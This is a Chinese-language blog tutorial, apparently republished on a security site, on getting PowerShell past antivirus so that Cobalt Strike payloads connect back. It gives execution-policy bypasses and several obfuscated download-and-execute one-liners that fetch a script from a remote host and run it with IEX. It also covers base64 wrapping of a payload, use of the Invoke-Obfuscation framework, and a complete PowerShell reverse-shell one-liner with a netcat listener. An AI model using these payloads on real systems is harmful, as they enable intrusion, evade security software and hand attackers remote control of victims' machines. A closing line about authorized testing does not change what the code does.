powershell免杀之路

VSole2021-07-12 21:46:00

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。powershell一直都是内网渗透的大热门,微软是真正的在推行PowerShell,包括Office等更多自家软件,底层都是调用PowerShell来实现,近年来利用powershell来搞内网渗透进行横向或免杀的热度一直居高不下。

这次我将结合前人的各种骚操作,以及个人的不断试错,所想所思,来写一篇关于powershell来进行免杀,达到CS多种姿势绕过AV上线的干货文章,并且本文章尽力内容友好易懂,没接触过powershell的小白也可以实现免杀上线,拥有自己的一些bypass小技巧

实验环境:

一.

一台WIN7专业版 某60全家桶 某绒最新版本

二.

powershell执行策略问题:

首先我们要来了解一下powershell执行策略这一块的基础问题:

powershell有六种执行策略:

Unrestricted 权限最高,可以不受限制执行任意脚本

Restricted 默认策略,不允许任意脚本的执行

AllSigned 所有脚本必须经过签名运行

RemoteSigned 本地脚本无限制,但是对来自网络的脚本必须经过签名

Bypass 没有任何限制和提示

Undefined 没有设置脚本的策略

那么windows默认的执行策略是Restricted,他是不允许任意脚本的执行

我们来查查当前目标机器的执行策略:

进入powershell查看执行策略 :Get-ExecutionPolicy

可以看到,此时我们运行保存好的tubai.ps1文件,当前策略是默认不允许执行脚本的

我们可以用管理员权限来修改默认执行策略,来达到执行我们ps1脚本的效果

Set-ExecutionPolicy Unrestricted(权限最高,可以不受限制执行任意脚本)设置执行策略


此时执行便不在报错,成功执行我们的脚本

三.

绕过执行策略:

当然我们在渗透中,遇到执行策略配置是默认不执行的,我们再去通过管理员权限去修改就太鸡肋,动作太大了,所以便有了绕过执行策略,去执行我们的脚本以及powershell命令,下面来介绍几种常见的绕过方式。

为便于演示,我们再次将执行策略设为默认不允许任意脚本的执行

Get-ExecutionPolicy Restricted

第一种:

以文件落地为例:

本地读取然后通过管道符运行

powershell Get-Content tubai.ps1 | powershell -NoProfile -


Bypass执行策略绕过

powershell -ExecutionPolicy bypass -File ./tubai.ps1


Unrestricted执行策略标志

powershell -ExecutionPolicy bypass -File ./tubai.ps1


远程下载并通过IEX运行脚本

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.52.23:80/a'))"

这个下面的绕过思路会细谈。

四.

powershell 命令混淆绕过AV上线:

我们直接cs生成

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.52.23:80/a'))"

这条命令主要做了哪些事?

利用downloadstri远程读取powershell文件并iex执行,即http://192.168.52.23:80/a下的文件。

iex => Invoke-expression 将字符串当作powershell代码执行

我们直接在目标机运行发现被拦截:

那我我们可以根据powershell语言的特性进行混淆,例如字符串转换、变量转换、编码、压缩等等来绕过AV达到上线

为iex设置别名

powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://192.168.52.23:80/a')

目标机器无拦截,绕过360与火绒成功上线

2.远程下载并通过IEX运行脚本,这里我们采用echo方式

echo Invoke-Expression(new-object net.webclient).downloadstring('http://192.168.52.23:80/a') | powershell -

目标机器无拦截,绕过360与火绒成功上线

3.利用'+'拼接http达到上线(典型的powershell语法特性,以变量的方式来拆分HTTP)

powershell -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://192.168.52.23:80/a')"

五.

powershell 代码混淆绕过AV上线:

首先来生成一个原始的cs上的powershell脚本

Powershell -ExecutionPolicy Bypass -File ./payload.sp1

在目标机器执行发现被杀

那么我们对生成的payload.ps1原始代码进行分析

可以看到它是把字符串进行加载,我们来整个进行一个base64编码然后在解码后加载

解码加载

解密后变量=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(加密后变量))

此时去执行上线

运行我们修改后的

Powershell -ExecutionPolicy Bypass -File .\payload.sp1

可以看到杀软无反应,绕过了AV拦截成功上线

六.

利用Invoke-Obfuscation混淆ps文件实现上线:

https://github.com/danielbohannon/Invoke-Obfuscation

这个powershell混淆编码框架,这也是著名的组织APT32 (海莲花)经常使用的一个工具。

还是准备一个cs生成的payload.ps1,按上面的方式生成即可,不再重复。

1.我们来装载框架进入Invoke-Obfuscation

Import-Module ./Invoke-Obfuscation.psd1

Invoke-Obfuscation

2.接下来设置ps1文件进行混淆,按图操作即可

set scriptpath E:...\Invoke-Obfuscation_PowerShell\payload.ps1

输入ENCODING 就会列出以下几种编码方式

encoding

1

3.输出文件:out 2.ps1

4.接着我们去目标机器运行生成的2.ps1

去运行上线:./2.ps1

可以看到无拦截

同样执行上线

七.

关于powershell在实际应用中的小技巧:

在实际渗透中,对cmd的防范比powershell更加严格,所以我们在操作中通过弹一个powershell出来执行,更加方便安全。

我们在目标机器执行

powershell -c "$client = New-Object Net.Sockets.TCPClient('192.168.52.134',7777);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"


此时我们阿里云监听便弹回了一个目标机器powershell

阿里云监听 nc -lvp 7777

参考:

https://www.freebuf.com/articles/system/227467.html

https://www.jianshu.com/p/fb078a99e0d8

https://blog.csdn.net/zhangge3663/article/details/111945373

总结:

powershell在内网渗透中应用广泛,远不止免杀与信息收集,以后会出更多的红蓝对抗系列给大家。本文介绍了执行策略问题与绕过策略方式,以及命令混淆与代码混淆来达到绕过AV上线的方式,站在前人的肩膀上思考并看问题。各位要在授权的渗透下玩转自己的绕过思路!

powershell免杀
本作品采用《CC 协议》,转载必须注明作者和本文链接
顾名思义,无需将恶意文件传到目标服务器/机器上,直接利用powershell的特性加载到内存执行。为了在红队行动中更隐蔽的实施攻击以及横向移动,同时还可以解决目标不出网只能通过dns上线时的棘手问题,利用powershell可以避免一行行echo。
powershell之路
2021-07-12 21:46:00
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能
目录简单的恶意文档cs生成的宏分析思路加密混淆诱导点击项目推荐总结简单的恶意文档一般使用流程:第一步,生
powershell对抗AV技巧
2021-06-30 22:32:22
今天介绍利用powershell上线来绕过AV防护,并介绍绕过添加用户的拦截的方式。
通常我们在渗透过程中从外围打点进入内网后拿到主机提升到system权限,这一台主机就已经拿下。但是我们进入内网的目标还是拿下尽可能多的主机,这时候选择横向移动的方法就尤为重要。今天就对一些常用的横向手法进行一个总结,有不足之处欢迎师傅们进行斧正。
前言某次小型红蓝,直接丢过来几个登陆框,定点打。环境介绍全部都是shiro框架。过程爆破用户名密码,都是加密的。查看网页源代码的时候,发现其中一个利用的DES-ECB的单层加密。果断生成大量的字段。我的超大字典,都没有爆破出一个有效的账号。一上午毫无收获,陷入沉思。用上午在A系统登陆显示没有应用权限的账号,但是不会自动解压,没有找到可以利用的点。在目标机器部署了cs。
0X01起源在攻防演练中通过运行恶意代码连接C2是最常用的手段,但是由于对抗程度的提升。以360、天擎为代表的毒软件针对信任链的检测,已经变得愈来愈成熟。这里我们可以理解为,攻击者通过利用"白加黑"这种攻击方法。当攻击者通过社工钓鱼的手段,使得目标下载恶意的文件到目标自己的计算机上,并点击运行白文件时,该文件会在运行时执行恶意DLL。
时间线11 月 10 日,我们发现了一次多阶段 PowerShell 攻击,该攻击使用冒充哈萨克斯坦卫生部的
好久没写实战文章了,过年过的手都麻了,一天不渗透我是浑身难受。正想找几个站泄泄火呢。刚好就接到了领导的任务,需要我去参加某集团组织的攻防演练。过程即简单也曲折,好在成功绕过waf,且横向渗透取得办公区运维机权限,最终取得工控生产区服务器权限,完成渗透目标,skr~skr~。
VSole
网络安全专家